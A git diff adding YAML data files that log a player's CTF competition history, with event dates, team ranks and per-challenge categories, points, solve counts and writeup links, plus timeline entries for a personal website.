/dev/null +++ b/ctfs/hacklu22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "Hack.lu CTF 2022" +url: https://ctftime.org/event/1727 + +date: 2022-10-28 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 16 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Culinary Class Room" + category: web + points: 466 + solve-count: 6 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/hkcert21.yml b/ctfs/hkcert21.yml new file mode 100644 index 0000000..4608463 --- /dev/null +++ b/ctfs/hkcert21.yml @@ -0,0 +1,100 @@ +name: "HKCERT CTF 2021" + +#either the ctftime page, or null +url: https://ctftime.org/event/1432 + +date: 2021-11-12 +duration: 48 + +#default jeopardy, can specify others like A/D or special +type: "Jeopardy" + +#are we the organizers? (overrides any rank if specified, coz it doesnt make sense to have ranks in your own ctf) +organizer: false + +#first second and third will have different colors on the diary; ordinals will be automatically computed +#otherwise it can be a special string if needed (e.g. with open div etc) +#will be replaced by "organizers" if organizer: true +rank: "9th (Open), 21st (Overall)" + +#did we full clear all challenges? (will append a sparkle with tooltip in this case) +full-clear: false + +#team name +team: "N/A (friends)" + +#can also specify other fields - unknown fields not listed here will be treated directly as headers after uppercasing and values casted to string +#(mainly for defining special fields in special ctf types, but also remember to change name to challenge-written for organized events) +challenges: + - name: "時間的囚犯 / Timebomb" + category: rev + points: "100 (1★)" + solve-count: 16 + + #remove if organizer: true + solve-status: solved #solved | co-solved | sniped | unsolved + writeup-url: null #default null; add if full writeup exists (will be linked instead of comments) + #define the following fields to annotate the challenge names with the respective emojis + #writeup-prize: true + #first-blood: true + + - name: "理性與任性之間 / Shuffle" + category: rev + points: "50 (0★)" + solve-count: 60 + solve-status: solved + writeup-url: null + - name: "所有遺失的東西 / All Missing" + category: jail + points: "150 (1★)" + solve-count: 27 + solve-status: solved + writeup-url: null + - name: "留下來的人 / The Remaining One" + category: jail + points: "300 (3★)" + solve-count: 4 + solve-status: solved + writeup-url: null + - name: "回到12歲 / scratch-tic-tac-toe" + category: misc + points: "200 (2★)" + solve-count: 86 + solve-status: solved + writeup-url: null + - name: "最難行的路 / The Hardest Path" + category: rev, misc + points: "300 (3★)" + solve-count: 9 + solve-status: solved + writeup-url: null + - name: "因講了出來 / Because I Said It" + category: web + points: "150 (1★)" + solve-count: 76 + solve-status: co-solved + writeup-url: null + - name: "今天我不想做嘢 / Let's Chill" + category: rev + points: "450 (4★)" + solve-count: 4 + solve-status: unsolved + writeup-url: null + - name: "漫漫碎 / Scattered" + category: rev + points: "100 (1★)" + solve-count: 16 + solve-status: solved + writeup-url: null + - name: "網絡安全隱患 / Infant Browser" + category: web + points: "50 (0★)" + solve-count: 52 + solve-status: solved + writeup-url: null + - name: "樂園 / JQ Playground" + category: web + points: "200 (2★)" + solve-count: 15 + solve-status: unsolved + writeup-url: null diff --git a/ctfs/hkcert22.yml b/ctfs/hkcert22.yml new file mode 100644 index 0000000..69d8123 --- /dev/null +++ b/ctfs/hkcert22.yml @@ -0,0 +1,78 @@ +#refer to hkcert21.yml for definitions +name: "HKCERT CTF 2022" +url: https://ctftime.org/event/1722 + +date: 2022-11-11 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: '
2nd
 (Open), 
3rd
 (Overall)' +full-clear: false + +team: 'blackb4a' + +challenges: + - name: "沙田大會堂 / Echo" + category: pwn + points: 100 (1★) + solve-count: 20 + solve-status: solved + writeup-url: null + - name: "香港大會堂 / Echo2" + category: pwn + points: 150 (2★) + solve-count: 16 + solve-status: solved + writeup-url: null + - name: "富榮花園 / C++harming website" + category: rev + points: 350 (4★) + solve-count: 4 + solve-status: solved + writeup-url: https://hackmd.io/@despawningbone/BJzmTQ-Lo + writeup-prize: true + first-blood: true + - name: "佐敦谷公園 / Clipboard" + category: forensics + points: 200 (3★) + solve-count: 22 + solve-status: solved + writeup-url: null + - name: "九龍灣綜合回收中心 / UAF" + category: pwn + points: 100 (1★) + solve-count: 18 + solve-status: solved + writeup-url: null + - name: "何東道 / Stop Peeping" + category: forensics + points: 125 (2★) + solve-count: 21 + solve-status: solved + writeup-url: null + - name: "濕地公園 / jumping-fish" + category: rev + points: 250 (3★) + solve-count: 4 + solve-status: solved + writeup-url: null + - name: "WEEE·PARK / UAF2" + category: pwn + points: 200 + solve-count: 10 + solve-status: solved + writeup-url: null + - name: "城門緩跑徑 / Shellcode Runner 2" + category: pwn + points: 300 + solve-count: 14 + solve-status: solved + writeup-url: null + - name: "中間道 / Middle Road" + category: rev, crypto + points: 350 + solve-count: 8 + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/htbcyberapoc22.yml b/ctfs/htbcyberapoc22.yml new file mode 100644 index 0000000..c3e5391 --- /dev/null +++ b/ctfs/htbcyberapoc22.yml @@ -0,0 +1,76 @@ +#refer to hkcert21.yml for definitions +name: "HTB Cyber Apocalypse CTF 2022" +url: https://ctftime.org/event/1639 + +date: 2022-05-14 +duration: 120 + +type: "Jeopardy" + +organizer: false +rank: 9 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Snakecode" + category: rev + points: 300 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Automation" + category: forensics + points: 300 + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Shuffleme" + category: rev + points: 375 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Nuts and Bolts" + category: rev + points: 325 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Indefinite" + category: rev + points: 325 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Freaky Forum Interception" + category: rev + points: 375 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Free Services" + category: forensics + points: 325 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Intergalactic Recovery" + category: forensics + points: 325 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Reflection" + category: forensics + points: 350 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Seized" + category: forensics + points: 325 + solve-count: "?" + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/linectf22.yml b/ctfs/linectf22.yml new file mode 100644 index 0000000..aea9560 --- /dev/null +++ b/ctfs/linectf22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "LINE CTF 2022" +url: https://ctftime.org/event/1472 + +date: 2022-03-25 +duration: 24 + +type: "Jeopardy" + +organizer: false +rank: 25 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Rolling" + category: rev + points: 210 + solve-count: 19 + solve-status: solved + writeup-url: https://maplebacon.org/2022/03/linectf-rolling/ \ No newline at end of file diff --git a/ctfs/m0lecon22.yml b/ctfs/m0lecon22.yml new file mode 100644 index 0000000..84a887d --- /dev/null +++ b/ctfs/m0lecon22.yml @@ -0,0 +1,28 @@ +#refer to hkcert21.yml for definitions +name: "m0leCon CTF 2022 Teaser" +url: https://ctftime.org/event/1615 + +date: 2022-05-13 +duration: 24 + +type: "Jeopardy" + +organizer: false +rank: 14 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "crackme" + category: rev + points: 367 + solve-count: 5 + solve-status: solved + writeup-url: null + - name: "PTC - Pwn The Circles!" + category: rev + points: 232 + solve-count: 13 + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/maplectf22.yml b/ctfs/maplectf22.yml new file mode 100644 index 0000000..1ab37bd --- /dev/null +++ b/ctfs/maplectf22.yml @@ -0,0 +1,28 @@ +#refer to hkcert21.yml for definitions +name: "MapleCTF 2022" +url: https://ctftime.org/event/1676 + +date: 2022-08-26 +duration: 48 + +type: "Jeopardy" + +organizer: true +rank: null +full-clear: null + +team: "Maple Bacon" + +challenges: + - challenge-written: "disukoodo!" + category: misc + points: 212 + solve-count: 49 + - challenge-written: "Puzzling Oversight" + category: pwn + points: 460 + solve-count: 19 + - challenge-written: "BadController" + category: rev + points: 494 + solve-count: 8 \ No newline at end of file diff --git a/ctfs/nahamcon22.yml b/ctfs/nahamcon22.yml new file mode 100644 index 0000000..ce3f1af --- /dev/null +++ b/ctfs/nahamcon22.yml @@ -0,0 +1,46 @@ +#refer to hkcert21.yml for definitions +name: "NahamCon CTF 2022" +url: https://ctftime.org/event/1630 + +date: 2022-04-28 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 15 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "babyrev" + category: rev + points: 392 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "A Wild Ride" + category: forensics + points: 131 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "USB Drive" + category: malware + points: 458 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Free Nitro" + category: malware + points: "?" + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Brain Melt" + category: malware + points: 468 + solve-count: "?" + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/ritsec22.yml b/ctfs/ritsec22.yml new file mode 100644 index 0000000..e3882c4 --- /dev/null +++ b/ctfs/ritsec22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "RITSEC CTF 2022" +url: https://ctftime.org/event/1558 + +date: 2022-04-01 +duration: 60 + +type: "Jeopardy" + +organizer: false +rank: 17 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "SSH Backdoor" + category: rev + points: 494 + solve-count: "?" + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/sapling22.yml b/ctfs/sapling22.yml new file mode 100644 index 0000000..5daa2dd --- /dev/null +++ b/ctfs/sapling22.yml @@ -0,0 +1,150 @@ +#refer to hkcert21.yml for definitions +name: "SaplingCTF 2022 (MapleCTF UBC)" +url: null + +date: 2022-01-21 +duration: 168 + +type: "Jeopardy" + +organizer: false +rank: 1 +full-clear: false + +team: "N/A (friends)" + +challenges: + - name: "plain" + category: rev + points: 50 + solve-count: 37 + solve-status: solved + writeup-url: null + - name: "keys" + category: rev + points: 50 + solve-count: 16 + solve-status: solved + writeup-url: null + first-blood: true + - name: "wetuwn addwess" + category: pwn + points: 200 + solve-count: 9 + solve-status: solved + writeup-url: null + - name: "echowo" + category: pwn + points: 200 + solve-count: 18 + solve-status: solved + writeup-url: null + - name: "memowy cowwuption" + category: pwn + points: 100 + solve-count: 13 + solve-status: solved + writeup-url: null + - name: "copilot my savior" + category: crypto + points: 50 + solve-count: 24 + solve-status: solved + writeup-url: null + - name: "encode me" + category: misc + points: 50 + solve-count: 21 + solve-status: solved + writeup-url: null + - name: "decode me" + category: misc + points: 50 + solve-count: 18 + solve-status: solved + writeup-url: null + - name: "one two three" + category: crypto + points: 200 + solve-count: 4 + solve-status: solved + writeup-url: null + - name: "pyjail" + category: jail + points: 150 + solve-count: 22 + solve-status: solved + writeup-url: null + - name: "pyjail 2" + category: jail + points: 400 + solve-count: 12 + solve-status: solved + writeup-url: null + - name: "hijacked" + category: forensics + points: 200 + solve-count: 9 + solve-status: solved + writeup-url: null + - name: "uwu intewpwetew" + category: pwn + points: 300 + solve-count: 4 + solve-status: solved + writeup-url: null + - name: "pyjail 3" + category: jail + points: 400 + solve-count: 12 + solve-status: solved + writeup-url: null + - name: "baby pwintf" + category: pwn + points: 100 + solve-count: 8 + solve-status: solved + writeup-url: null + - name: "3d" + category: rev + points: 300 + solve-count: 3 + solve-status: solved + writeup-url: null + first-blood: true + - name: "spinning around" + category: rev + points: 300 + solve-count: 3 + solve-status: solved + writeup-url: null + - name: "pwintf" + category: pwn + points: 400 + solve-count: 2 + solve-status: solved + writeup-url: null + - name: "wetuwn owiented pwogwamming" + category: pwn + points: 250 + solve-count: 4 + solve-status: solved + writeup-url: null + - name: "whats up sys?" + category: rev + points: 100 + solve-count: 6 + solve-status: solved + writeup-url: null + - name: "Arista challenge" + category: sponsors + points: 100 + solve-count: 6 + solve-status: solved + writeup-url: null + - name: "birbs" + category: pwn + points: 100 + solve-count: 3 + solve-status: unsolved + writeup-url: null \ No newline at end of file diff --git a/ctfs/sapling23.yml b/ctfs/sapling23.yml new file mode 100644 index 0000000..3122e53 --- /dev/null +++ b/ctfs/sapling23.yml @@ -0,0 +1,20 @@ +#refer to hkcert21.yml for definitions +name: "SaplingCTF 2023" +url: null + +date: 2023-01-27 +duration: 168 + +type: "Jeopardy" + +organizer: true +rank: null +full-clear: null + +team: "Maple Bacon" + +challenges: + - challenge-written: "canner" + category: rev + points: 500 + solve-count: "?" \ No newline at end of file diff --git a/ctfs/sdctf22.yml b/ctfs/sdctf22.yml new file mode 100644 index 0000000..189a959 --- /dev/null +++ b/ctfs/sdctf22.yml @@ -0,0 +1,61 @@ +#refer to hkcert21.yml for definitions +name: "San Diego CTF 2022" +url: https://ctftime.org/event/1495 + +date: 2022-05-06 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 3 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "SymCalc.py" + category: jail + points: 220 + solve-count: 27 + solve-status: co-solved + writeup-url: null + first-blood: true + - name: "Bit flipping machine" + category: rev + points: 110/130 + solve-count: 32/12 + solve-status: solved + writeup-url: null + first-blood: true + - name: "Flag Hoarder" + category: forensics + points: 250 + solve-count: 16 + solve-status: solved + writeup-url: null + - name: "Turing-complete safeeval" + category: jail + points: 110 + solve-count: 27 + solve-status: solved + writeup-url: null + - name: "Rbash Warmup" + category: jail + points: 150 + solve-count: 80 + solve-status: solved + writeup-url: null + - name: "magic^3" + category: rev + points: 450 + solve-count: 9 + solve-status: co-solved + writeup-url: https://maplebacon.org/2022/05/sdctf-magic3/ + writeup-prize: true + - name: "Internprise Encryption" + category: rev + points: 200 + solve-count: 48 + solve-status: sniped + writeup-url: null \ No newline at end of file diff --git a/ctfs/sekaictf22.yml b/ctfs/sekaictf22.yml new file mode 100644 index 0000000..af8cda5 --- /dev/null +++ b/ctfs/sekaictf22.yml @@ -0,0 +1,28 @@ +#refer to hkcert21.yml for definitions +name: "SekaiCTF 2022" +url: https://ctftime.org/event/1619 + +date: 2022-09-30 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 8 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Symbolic Needs 1" + category: forensics + points: 467 + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Symbolic Needs 2" + category: forensics + points: 482 + solve-count: "?" + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/squarectf22.yml b/ctfs/squarectf22.yml new file mode 100644 index 0000000..2ef9a2c --- /dev/null +++ b/ctfs/squarectf22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "Square CTF 2022" +url: https://ctftime.org/event/1756 + +date: 2022-11-18 +duration: 24 + +type: "Jeopardy" + +organizer: false +rank: 12 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Yet Another Reversing Activity" + category: rev + points: 300 + solve-count: "?" + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/tamuctf22.yml b/ctfs/tamuctf22.yml new file mode 100644 index 0000000..3cd814f --- /dev/null +++ b/ctfs/tamuctf22.yml @@ -0,0 +1,84 @@ +#refer to hkcert21.yml for definitions +name: "TAMUctf 2022" +url: https://ctftime.org/event/1558 + +date: 2022-04-15 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 1 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Covfefe" + category: rev + points: 100 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Redo 1" + category: rev + points: 100 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Redo 2" + category: rev + points: 152 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Existing Tooling" + category: rev + points: 100 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Obcessive Checking" + category: rev + points: 499 + solve-count: 4 + solve-status: solved + writeup-url: https://maplebacon.org/2022/04/tamuctf-obsessive-checking/ + first-blood: true + - name: "Non-stick Disk" + category: forensics + points: 500 + solve-count: 2 + solve-status: solved + writeup-url: https://maplebacon.org/2022/04/tamuctf-non-stick-disk/ + first-blood: true + - name: "Lost in the void" + category: forensics + points: 500 + solve-count: 3 + solve-status: solved + writeup-url: https://maplebacon.org/2022/04/tamuctf-lost-in-the-void/ + - name: "One and Done" + category: pwn + points: 100 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "LIVE MATH LOVE" + category: pwn + points: 168 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Labyrinth" + category: rev + points: 477 + solve-count: "?" + solve-status: co-solved + writeup-url: null + - name: "Unboxing" + category: rev + points: 491 + solve-count: "?" + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/umdctf22.yml b/ctfs/umdctf22.yml new file mode 100644 index 0000000..f6b96a4 --- /dev/null +++ b/ctfs/umdctf22.yml @@ -0,0 +1,46 @@ +#refer to hkcert21.yml for definitions +name: "UMDCTF 2022" +url: https://ctftime.org/event/1593 + +date: 2022-03-04 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 7 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "DragonPit" + category: rev + points: 50 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Gee, queue are ex?" + category: hardware + points: 975 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Trainfuck" + category: rev + points: 961 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "snowden" + category: crypto + points: 574 + solve-count: "?" + solve-status: solved + writeup-url: null + - name: "Vigenere XOR" + category: crypto + points: 687 + solve-count: "?" + solve-status: solved + writeup-url: null \ No newline at end of file diff --git a/ctfs/utctf22.yml b/ctfs/utctf22.yml new file mode 100644 index 0000000..cc2afc7 --- /dev/null +++ b/ctfs/utctf22.yml @@ -0,0 +1,28 @@ +#refer to hkcert21.yml for definitions +name: "UTCTF 2022" +url: https://ctftime.org/event/1582 + +date: 2022-03-11 +duration: 48 + +type: "Jeopardy" + +organizer: false +rank: 2 +full-clear: true + +team: "Maple Bacon" + +challenges: + - name: "IRC" + category: forensics + points: 992 + solve-count: 20 + solve-status: solved + writeup-url: https://maplebacon.org/2022/03/utctf-irc/ + - name: "Ebook DRM" + category: rev + points: 991 + solve-count: 22 + solve-status: solved + writeup-url: https://maplebacon.org/2022/03/utctf-ebook-drm/ \ No newline at end of file diff --git a/ctfs/wectf22.yml b/ctfs/wectf22.yml new file mode 100644 index 0000000..03b6c78 --- /dev/null +++ b/ctfs/wectf22.yml @@ -0,0 +1,22 @@ +#refer to hkcert21.yml for definitions +name: "WeCTF 2022" +url: https://ctftime.org/event/1546 + +date: 2022-06-11 +duration: 24 + +type: "Jeopardy" + +organizer: false +rank: 5 +full-clear: false + +team: "Maple Bacon" + +challenges: + - name: "Status Page" + category: web + points: "?" + solve-count: "?" + solve-status: co-solved + writeup-url: null \ No newline at end of file diff --git a/special.yml b/special.yml new file mode 100644 index 0000000..50d3a0c --- /dev/null +++ b/special.yml @@ -0,0 +1,29 @@ +#list of special events that's worth mentioning on the timeline separately from a ctf; +#new years will be automatically inserted with basically the following properties: +#new-year: +# style: "timeline-year" +# content: {year} +# date: {year}-01-01 + +joined-mb: #name is not used for parsing, just something that we can read + #css class; has to be already defined in main.css + style: "timeline-join" + #got lazy so just inline html lol; thought about markdown but its too inflexible and also not necessary for a few sentences anyway + content: 'Joined Maple Bacon' + #for aligning in timeline + date: 2022-02-01 + +mmm-created: + style: "timeline-join" + content: 'MMM created' + date: 2022-06-01 + +mmm-announced: + style: "timeline-announce" + content: 'MMM is publicly announced as
Maple Mallard Magistrates
' + date: 2022-08-07 + +lumina-hiatus: + style: "timeline-hiatus" + content: 'Focusing on IDA Lumina ports, small hiatus on CTFs' + date: 2022-11-20 \ No newline at end of file